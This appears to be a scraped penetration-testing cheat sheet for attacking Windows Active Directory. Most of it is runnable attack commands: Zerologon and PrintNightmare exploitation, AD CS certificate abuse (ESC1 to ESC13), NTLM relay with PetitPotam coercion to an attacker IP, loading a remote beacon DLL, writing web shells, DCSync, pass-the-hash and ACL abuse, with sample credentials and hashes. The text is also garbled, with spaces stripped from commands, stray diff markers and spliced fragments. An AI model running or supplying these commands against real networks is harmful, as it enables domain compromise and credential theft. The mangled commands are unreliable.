Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\.
+The exploit will execute the DLL either from the local filesystem or a remote share.
+
Requirements:
+
+
Spooler Service enabled (Mandatory)
+
Server with patches < June 2021
+
DC with Pre Windows 2000 Compatibility group
+
Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
+
Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0
When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\172.16.1.5@8888\Downloads\beacon.dll
+WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it's not installed on servers. Here is how to detect activated webdav:
## LPE only (PS1 + DLL)
+Import-Module.\cve-2021-1675.ps1
+Invoke-Nightmare# add user `adm1n`/`P@ssw0rd` in the local admin group by default
+Invoke-Nightmare-DriverName"Dementor"-NewUser"d3m3nt0r"-NewPassword"AzkabanUnleashed123*"
+Invoke-Nightmare-DLL"C:\absolute\path\to\your\bindshell.dll"
+
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
+
Exploit steps from the white paper
+
+
Spoofing the client credential
+
Disabling signing and sealing
+
Spoofing a call
+
Changing a computer's AD password to null
+
From password change to domain admin
+
+
reset the computer's AD password in a proper way to avoid any Deny of Service
+
+
+
cve-2020-1472-exploit.py - Python script from dirkjanm
+
# Check (https://github.com/SecuraBV/CVE-2020-1472)
+proxychainspython3zerologon_tester.pyDC01172.16.1.5
+
+$gitclonehttps://github.com/dirkjanm/CVE-2020-1472.git
+
+# Activate a virtual env to install impacket
+$python3-mvenvvenv
+$sourcevenv/bin/activate
+$pip3install.
+
+# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
+proxychainspython3cve-2020-1472-exploit.pyDC01172.16.1.5
+
+# Find the old NT hash of the DC
+proxychainssecretsdump.py-history-just-dc-user'DC01$'-hashes:31d6cfe0d16ae931b73c59d7e0c089c0'CORP/DC01$@DC01.CORP.LOCAL'
+
+# Restore password from secretsdump
+# secretsdump will automatically dump the plaintext machine password (hex encoded)
+# when dumping the local registry secrets on the newest version
+pythonrestorepassword.pyCORP/DC01@DC01.CORP.LOCAL-target-ip172.16.1.5-hexpasse6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
+deactivate
+
+
+
+
nccfsas - .NET binary for Cobalt Strike's execute-assembly
+
gitclonehttps://github.com/nccgroup/nccfsas
+# Check
+execute-assemblySharpZeroLogon.exewin-dc01.vulncorp.local
+
+# Resetting the machine account password
+execute-assemblySharpZeroLogon.exewin-dc01.vulncorp.local-reset
+
+# Testing from a non Domain-joined machine
+execute-assemblySharpZeroLogon.exewin-dc01.vulncorp.local-patch
+
+# Now reset the password back
+
+
+
+
Mimikatz - 2.2.0 20200917 Post-Zerologon
+
privilege::debug
+# Check for the CVE
+lsadump::zerologon/target:DC01.LAB.LOCAL/account:DC01$
+
+# Exploit the CVE and set the computer account's password to ""
+lsadump::zerologon/target:DC01.LAB.LOCAL/account:DC01$/exploit
+
+# Execute dcsync to extract some hashes
+lsadump::dcsync/domain:LAB.LOCAL/dc:DC01.LAB.LOCAL/user:krbtgt/authuser:DC01$/authdomain:LAB/authpassword:""/authntlm
+lsadump::dcsync/domain:LAB.LOCAL/dc:DC01.LAB.LOCAL/user:Administrator/authuser:DC01$/authdomain:LAB/authpassword:""/authntlm
+
+# Pass The Hash with the extracted Domain Admin hash
+sekurlsa::pth/user:Administrator/domain:LAB/rc4:HASH_NTLM_ADMIN
+
+# Use IP address instead of FQDN to force NTLM with Windows APIs
+# Reset password to Waza1234/Waza1234/Waza1234/
+# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
+lsadump::postzerologon/target:10.10.10.10/account:DC01$
+
A 2nd approach to exploit zerologon is done by relaying authentication.
+
This technique, found by dirkjanm, requires more prerequisites but has the advantage of having no impact on service continuity.
+The following prerequisites are needed:
+* A domain account
+* One DC running the PrintSpooler service
+* Another DC vulnerable to zerologon
+
+
ntlmrelayx - from Impacket and any tool such as printerbug.py
+
# Check if one DC is running the PrintSpooler service
+rpcdump.py10.10.10.10|grep-A6"spoolsv"
+
+# Setup ntlmrelay in one shell
+ntlmrelayx.py-tdcsync://DC01.LAB.LOCAL-smb2support
+
+#Trigger printerbug in 2nd shell
+python3printerbug.py'LAB.LOCAL'/joe:Password123@10.10.10.1010.10.10.12
+
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
DNS required (CT_FLAG_SUBJECT_ALT_REQUIRE_DNS or CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS): only principals with their dNSHostName attribute set can enroll.
+
Active Directory Users cannot enroll in certificate templates requiring dNSHostName.
+
Computers will get their dNSHostName attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD.
+
+
Computers have validated write to their dNSHostName attribute meaning they can add a DNS name matching their computer name.
+
+
+
Email required (CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL or CT_FLAG_SUBJECT_REQUIRE_EMAIL): only principals with their mail attribute set can enroll unless the template is of schema version 1.
+
+
By default, users and computers do not have their mail attribute set, and they cannot modify this attribute themselves.
+
Users might have the mail attribute set, but it is rare for computers.
+
+
ESC1 - Misconfigured Certificate Templates
+
+
Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
+
+
Requirements
+
+
Template that allows for AD authentication
+
ENROLLEE_SUPPLIES_SUBJECT flag
+
[PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
+
+
Exploitation
+
+
Use Certify.exe to see if there are any vulnerable templates
+
Certify.exefind/vulnerable
+Certify.exefind/vulnerable/currentuser
+# or
+PS>Get-ADObject-LDAPFilter'(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'-SearchBase'CN=Configuration,DC=lab,DC=local'
+# or
+certipy'domain.local'/'user':'password'@'domaincontroller'find-bloodhound
+# or
+pythonbloodyAD.py-ujohn.doe-p'Password123!'--host192.168.100.1-dbloody.labgetsearch--base'CN=Configuration,DC=lab,DC=local'--filter'(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
+
+
Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)
+
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
+Certify.exerequest/ca:dc.domain.local\domain-DC-CA/template:VulnTemplate/altname:domadmin
+certi.pyreq'contoso.local/Anakin@dc01.contoso.local'contoso-DC01-CA-k-n--alt-namehan--templateUserSAN
+certipyreq'corp.local/john:Passw0rd!@ca.corp.local'-ca'corp-CA'-template'ESC1'-alt'administrator@corp.local'
+
+
Use OpenSSL and convert the certificate, do not enter a password
+
WARNING: These certificates will still be usable even if the user or computer resets their password!
+
NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.
+
ESC2 - Misconfigured Certificate Templates
+
Requirements
+
+
Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
+
+
Exploitation
+
+
Find template
+
PS >Get-ADObject-LDAPFilter'(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'-SearchBase'CN=Configuration,DC=megacorp,DC=local'
+# or
+pythonbloodyAD.py-ujohn.doe-p'Password123!'--host192.168.100.1-dbloody.labgetsearch--base'CN=Configuration,DC=megacorp,DC=local'--filter'(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
+
+
Request a certificate specifying the /altname as a domain admin like in ESC1.
+
+
ESC3 - Misconfigured Enrollment Agent Templates
+
+
ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
+
+
+
Request a certificate based on the vulnerable certificate template ESC3.
+
Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
+
+
+
Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate
+
Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1
+
python3modifyCertTemplate.pydomain.local/user-k-no-pass-templateuser-dc-ip10.10.10.10-addenrollee_supplies_subject-propertymspki-Certificate-Name-Flag
+
+# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
+C:\>StandIn.exe--adcs--filterWebServer--ess--add
+
# overwrite the configuration to make it vulnerable to ESC1
+certipytemplate'corp.local/johnpc$@ca.corp.local'-hashes:fc525c9683e8fe067095ba2ddc971889-template'ESC4'-save-old
+# request a certificate based on the ESC4 template, just like ESC1.
+certipyreq'corp.local/john:Passw0rd!@ca.corp.local'-ca'corp-CA'-template'ESC4'-alt'administrator@corp.local'
+# restore the old configuration
+certipytemplate'corp.local/johnpc$@ca.corp.local'-hashes:fc525c9683e8fe067095ba2ddc971889-template'ESC4'-configurationESC4.json
+
+
ESC5 - Vulnerable PKI Object Access Control
+
+
Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.
+
+
Requirements:
+
+
Add new templates to the "Certificate" Templates container
+
"WRITE" access to the pKIEnrollmentService object
+
+
Exploitation:
+
+
Use PsExec to launch mmc as SYSTEM on the child DC: psexec.exe /accepteula -i -s mmc
+
Connect to "Configuration naming context" > "Certificate Template" container
+
Open certsrv.msc as SYSTEM and duplicate an existing template
+
Edit the properties of the template to:
+
Granting enroll rights to a principal we control in the child domain.
+
Including Client Authentication in the Application Policies.
+
Allowing SANs in certificate requests.
+
Not enabling manager approval or authorized signatures.
+
+
+
Publish the certificate template to the CA
+
Publish by adding the template to the list in certificateTemplate property of CN=Services>CN=Public Key Services>CN=Enrollment Services>pkiEnrollmentService
+
+
+
Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
+
+
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
+
+
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
+
+
Exploitation
+
+
Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
+
Certify.execas
+
+
Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names
+
Grant approval if required or disable the approval requirement
+
# Grant
+Certify.exeissue/id:[REQUEST ID]
+# Disable
+Certify.exesetconfig/removeapproval/restart
+
+
+
Alternative exploitation from ManageCA to RCE on ADCS server:
+
# Get the current CDP list. Useful to find remote writable shares:
+Certify.exewritefile/ca:SERVER\ca-name/readonly
+
+# Write an aspx shell to a local web directory:
+Certify.exewritefile/ca:SERVER\ca-name/path:C:\Windows\SystemData\CES\CA-Name\shell.aspx/input:C:\Local\Path\shell.aspx
+
+# Write the default asp shell to a local web directory:
+Certify.exewritefile/ca:SERVER\ca-name/path:c:\inetpub\wwwroot\shell.asp
+
+# Write a php shell to a remote web directory:
+Certify.exewritefile/ca:SERVER\ca-name/path:\\remote.server\share\shell.php/input:C:\Local\path\shell.php
+
+
ESC8 - AD CS Relay Attack
+
+
An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
impacket>python3ntlmrelayx.py-thttp://<ca-server>/certsrv/certfnsh.asp-smb2support--adcs
+impacket>python3./examples/ntlmrelayx.py-thttp://10.10.10.10/certsrv/certfnsh.asp-smb2support--adcs--templateVulnTemplate
+# For a member server or workstation, the template would be "Computer".
+# Other templates: workstation, DomainController, Machine, KerberosAuthentication
+
+# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
+# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
+gitclonehttps://github.com/topotam/PetitPotam
+python3petitpotam.py-d$DOMAIN-u$USER-p$PASSWORD$ATTACKER_IP$TARGET_IP
+python3petitpotam.py-d''-u''-p''$ATTACKER_IP$TARGET_IP
+python3dementor.py<listener><target>-u<username>-p<password>-d<domain>
+python3dementor.py10.10.10.25010.10.10.10-uuser1-pPassword1-dlab.local
+
+# Use the certificate with rubeus to request a TGT
+Rubeus.exeasktgt/user:<user>/certificate:<base64-certificate>/ptt
+Rubeus.exeasktgt/user:dc1$/certificate:MIIRdQIBAzC...mUUXS/ptt
+
+# Now you can use the TGT to perform a DCSync
+mimikatz>lsadump::dcsync/user:krbtgt
+
StrongCertificateBindingEnforcement set to 1 (default) or 0
+
Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
+
Certificate specifies Any Client authentication EKU
+
GenericWrite over any account A to compromise any account B
+
+
Scenario
+
John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local.
+Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.
+
+
Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
+
Request the vulnerable certificate template ESC9 from Jane's account.
+
certipyreq-usernamejane@corp.local-hashes...-cacorp-DC-CA-templateESC9
+# userPrincipalName in the certificate is Administrator
+# the issued certificate contains no "object SID"
+
+
Restore userPrincipalName of Jane to Jane@corp.local.
+
Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
+
certipyauth-pfxadministrator.pfx-domaincorp.local
+# Add -domain <domain> to your command line since there is no domain specified in the certificate.
+
+
+
ESC11 - Relaying NTLM to ICPR
+
+
Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.
The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
+
Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword.
+
+
Importing the CA certificate into the user store
+
certutil-addstore-usermy<CAcertificatefile>
+
+
Associated with the private key in the YubiHSM2 device
+
If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
+
+
Requirements
+
+
The principal has enrollment rights on a certificate template
+
The certificate template has an issuance policy extension
+
The issuance policy has an OID group link to a group
+
The certificate template defines EKUs that enable client authentication
+
+
PS C:\>$ESC13Template=Get-ADObject"CN=ESC13Template,$TemplateContainer"-PropertiesnTSecurityDescriptor$ESC13Template.nTSecurityDescriptor.Access|?{$_.IdentityReference-eq"DUMPSTER\ESC13User"}
+AccessControlType:Allow
+
+# check if there is an issuance policy in the msPKI-Certificate-Policy
+PS C:\>Get-ADObject"CN=ESC13Template,$TemplateContainer"-PropertiesmsPKI-Certificate-Policy
+msPKI-Certificate-Policy:{1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
+
+# check for OID group link
+PS C:\>Get-ADObject"CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer"-PropertiesDisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
+msDS-OIDToGroupLink:CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
+
+# verify if ESC13Group is a Universal group
+PS C:\>Get-ADGroupESC13Group-PropertiesMembers
+GroupScope:Universal
+Members:{}
+
+
Exploitation:
+
+
+
Request a certificate for the vulnerable template
+
The Application Policies extension is a proprietary certificate extension with the OID 1.3.6.1.4.1.311, same as x509 EKUs. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension.
+If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.
+
+
"Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft
+
+
When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.
+
ESC1 - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the Server Authentication EKU. Using ly4k/Certipy PR #228, we can add the Client Authentication EKU to WebServer. Anybody with the Enroll permission on this template can now compromise the domain.
An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
+
+
+
Windows
+
# Information about a cert file
+certutil-v-dumpadmin.pfx
+
+# From a Base64 PFX
+Rubeus.exeasktgt/user:"TARGET_SAMNAME"/certificate:cert.pfx/password:"CERTIFICATE_PASSWORD"/domain:"FQDN_DOMAIN"/dc:"DOMAIN_CONTROLLER"/show
+
+# Grant DCSync rights to an user
+./PassTheCert.exe--serverdc.domain.local--cert-pathC:\cert.pfx--elevate--target"DC=domain,DC=local"--sid<user_SID>
+# To restore
+./PassTheCert.exe--serverdc.domain.local--cert-pathC:\cert.pfx--elevate--target"DC=domain,DC=local"--restorerestoration_file.txt
+
Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.
+
+
Windows
+
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
+Rubeus.exeasktgt/getcredentials/user:"TARGET_SAMNAME"/certificate:"BASE64_CERTIFICATE"/password:"CERTIFICATE_PASSWORD"/domain:"FQDN_DOMAIN"/dc:"DOMAIN_CONTROLLER"/show
+
+
Linux
+
# Obtain a TGT by validating a PKINIT pre-authentication
+$gettgtpkinit.py-cert-pfx"PATH_TO_CERTIFICATE"-pfx-pass"CERTIFICATE_PASSWORD""FQDN_DOMAIN/TARGET_SAMNAME""TGT_CCACHE_FILE"
+
+# Use the session key to recover the NT hash
+$exportKRB5CCNAME="TGT_CCACHE_FILE"getnthash.py-key'AS-REP encryption key''FQDN_DOMAIN'/'TARGET_SAMNAME'
+
An Access Control Entry (ACE) is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied.
+
An Access Control List (ACL) is a collection of Access Control Entries (ACEs) associated with a resource.
We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
+
+
Windows/Linux
+
# Check for interesting permissions on accounts:
+bloodyAD--host10.10.10.10-dattack.lab-ujohn.doe-p'Password123*'getwritable--otypeUSER--rightWRITE --detail|egrep-i'distinguishedName|servicePrincipalName'
+
+# Check if current user has already an SPN setted:
+bloodyAD--host10.10.10.10-dattack.lab-ujohn.doe-p'Password123*'getobject<UserName>--attrserviceprincipalname
+
+# Force set the SPN on the account: Targeted Kerberoasting
+bloodyAD--host10.10.10.10-dattack.lab-ujohn.doe-p'Password123*'set object<UserName>serviceprincipalname-v'ops/whatever1'
+
+# Grab the ticket
+GetUsersSPNs.py-dc-ip10.10.10.10'attack.lab/john.doe:Password123*'-request-user<UserName>
+
+# Remove the SPN
+bloodyAD--host10.10.10.10-dattack.lab-ujohn.doe-p'Password123*'set object<UserName>serviceprincipalname
+
+
Windows only
+
# Check for interesting permissions on accounts:
+Invoke-ACLScanner-ResolveGUIDs|?{$_.IdentityReferenceName-match"RDPUsers"}
+
+# Check if current user has already an SPN setted:
+PowerView2>Get-DomainUser-Identity<UserName>|select serviceprincipalname
+
+# Force set the SPN on the account: Targeted Kerberoasting
+PowerView2>Set-DomainObject<UserName>-Set@{serviceprincipalname='ops/whatever1'}
+PowerView3>Set-DomainObject-Identity<UserName>-Set@{serviceprincipalname='any/thing'}
+
+# Grab the ticket
+PowerView2>$User=Get-DomainUserusername
+PowerView2>$User|Get-DomainSPNTicket|fl
+PowerView2>$User|Select serviceprincipalname
+
+# Remove the SPN
+PowerView2>Set-DomainObject-Identityusername-Clearserviceprincipalname
+
+
+
+
+
We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
+
+
Windows/Linux:
+
# Modify the userAccountControl
+$bloodyAD--host[DC IP]-d[DOMAIN]-u[AttackerUser]-p[MyPassword] add uac [Target_User]-fDONT_REQ_PREAUTH
+
+# Grab the ticket
+$GetNPUsers.pyDOMAIN/target_user-format<AS_REP_responses_format[hashcat|john]>-outputfile<output_AS_REP_responses_file>
+
+# Set back the userAccountControl
+$bloodyAD--host[DC IP]-d[DOMAIN]-u[AttackerUser]-p[MyPassword] remove uac [Target_User]-fDONT_REQ_PREAUTH
+
+
Windows only:
+
# Modify the userAccountControl
+PowerView2>Get-DomainUserusername|ConvertFrom-UACValue
+PowerView2>Set-DomainObject-Identityusername-XOR@{useraccountcontrol=4194304}-Verbose
+
+# Grab the ticket
+PowerView2>Get-DomainUserusername|ConvertFrom-UACValue
+ASREPRoast>Get-ASREPHash-Domaindomain.local-UserNameusername
+
+# Set back the userAccountControl
+PowerView2>Set-DomainObject-Identityusername-XOR@{useraccountcontrol=4194304}-Verbose
+PowerView2>Get-DomainUserusername|ConvertFrom-UACValue
+
+
+
+
+
Reset another user's password.
+
+
Windows/Linux:
+
# Using bloodyAD with pass-the-hash
+bloodyAD--host[DC IP]-dDOMAIN-uattacker_user-p:B4B9B02E6F09A9BD760F388B67351E2Bset passwordjohn.doe'Password123!'
+
# Using rpcclient from the Samba software suite
+rpcclient-U'attacker_user%my_password'-WDOMAIN-c"setuserinfo2 target_user 23 target_newpwd"
+
+
+
+
+
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
# Using the Samba software suite
+netrpcgroup ADDMEM"GROUP NAME"UserToAdd-U'hacker%MyPassword123'-WDOMAIN-I[DC IP]
+
+
+
+
+
GenericWrite and Remote Connection Manager
+
+
Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
+
This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
+
+
The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
+* Windows/Linux:
+
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
+
WriteDACL
+
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All.
+
+
+
WriteDACL on Domain:
+
+
Windows/Linux:
+
# Give DCSync right to the principal identity
+bloodyAD.py--host[DC IP]-dDOMAIN-uattacker_user-p:B4B9B02E6F09A9BD760F388B67351E2Badddcsyncuser2
+
+# Remove right after DCSync
+bloodyAD.py--host[DC IP]-dDOMAIN-uattacker_user-p:B4B9B02E6F09A9BD760F388B67351E2Bremovedcsyncuser2
+
+
Windows only:
+
# Give DCSync right to the principal identity
+Import-Module.\PowerView.ps1
+$SecPassword=ConvertTo-SecureString'user1pwd'-AsPlainText-Force
+$Cred=New-ObjectSystem.Management.Automation.PSCredential('DOMAIN.LOCAL\user1',$SecPassword)
+Add-DomainObjectAcl-Credential$Cred-TargetIdentity'DC=domain,DC=local'-RightsDCSync-PrincipalIdentityuser2-Verbose-Domaindomain.local
+
+
+
+
+
WriteDACL on Group:
+
+
Windows/Linux:
+
bloodyAD--hostmy.dc.corp-dcorp-udevil_user1-p'P@ssword123'addgenericAll'cn=INTERESTING_GROUP,dc=corp'devil_user1
+
+# Remove right
+bloodyAD--hostmy.dc.corp-dcorp-udevil_user1-p'P@ssword123'removegenericAll'cn=INTERESTING_GROUP,dc=corp'devil_user1
+
+
Windows only:
+
# Using native command
+netgroup "INTERESTING_GROUP"User1/add/domain
+# Or with external tool
+PowerSploit>Add-DomainObjectAcl-TargetIdentity"INTERESTING_GROUP"-RightsWriteMembers-PrincipalIdentityUser1
+
+
+
+
+
WriteOwner
+
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants.
+* Windows/Linux:
+
# Save the blob to a variable
+$gmsa=Get-ADServiceAccount-Identity'SQL_HQ_Primary'-Properties'msDS-ManagedPassword'
+$mp=$gmsa.'msDS-ManagedPassword'
+
+# Decode the data structure using the DSInternals module
+ConvertFrom-ADManagedPasswordBlob$mp
+
+
ForceChangePassword
+
An attacker can change the password of the user this ACE applies to:
+* Windows/Linux:
+
# Using bloodyAD with pass-the-hash
+bloodyAD--host[DC IP]-dDOMAIN-uattacker_user-p:B4B9B02E6F09A9BD760F388B67351E2Bset passwordtarget_usertarget_newpwd
+
# Using rpcclient from the Samba software suite
+rpcclient-U'attacker_user%my_password'-WDOMAIN-c"setuserinfo2 target_user 23 target_newpwd"
+
+
Organizational Units ACL
+
Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it.
+
+
synacktiv/OUned - The OUned project automating Active Directory Organizational Units ACL exploitation through gPLink poisoning
+
+
Non privileged objects
+
A user having the GenericAll right (and thus WriteDACL permissions) over an OU could add a FullControl ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE.
coffeegist/bofhound for local Active Directory (Generate BloodHound compatible JSON from logs written by ldapsearch BOF, pyldapsearch and Brute Ratel's LDAP Sentinel)
.\SharpHound.exe-call-dactive.htb--searchforest
+.\SharpHound.exe-call,GPOLocalGroup# all collection doesn't include GPOLocalGroup by default
+.\SharpHound.exe--CollectionMethodDCOnly# only collect from the DC, doesn't query the computers (more stealthy)
+
+.\SharpHound.exe-call--LdapUsername<UserName>--LdapPassword<Password>--JSONFolder<PathToFile>
+.\SharpHound.exe-call--LdapUsername<UserName>--LdapPassword<Password>--domaincontroller10.10.10.100-dactive.htb
+
+.\SharpHound.exe-cAll,GPOLocalGroup--outputdirectoryC:\Windows\Temp--prettyprint--randomfilenames--collectallproperties--throttle10000--jitter23--outputprefixinternalallthething
+
# Windows with GSSAPI session
+rusthound.exe-ddomain.local--ldapfqdndomain
+# Windows/Linux simple bind connection username:password
+rusthound.exe-ddomain.local-uuser@domain.local-pPassword123-ooutput-z
+# Linux with username:password and ADCS module for @ly4k BloodHound version
+rusthound-ddomain.local-u'user@domain.local'-p'Password123'-o/tmp/adcs--adcs-z
+
Use c3c/ADExplorerSnapshot.py to query data from SysInternals/ADExplorer snapshot (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions).
+
Then import the zip/json files into the Neo4J database and query them.
+
root@payload$aptinstallbloodhound
+
+# start BloodHound and the database
+root@payload$neo4jconsole
+# or use docker
+root@payload$dockerrun-itd-p7687:7687-p7474:7474--envNEO4J_AUTH=neo4j/bloodhound-v$(pwd)/neo4j:/dataneo4j:4.4-community
+
+root@payload$./bloodhound--no-sandbox
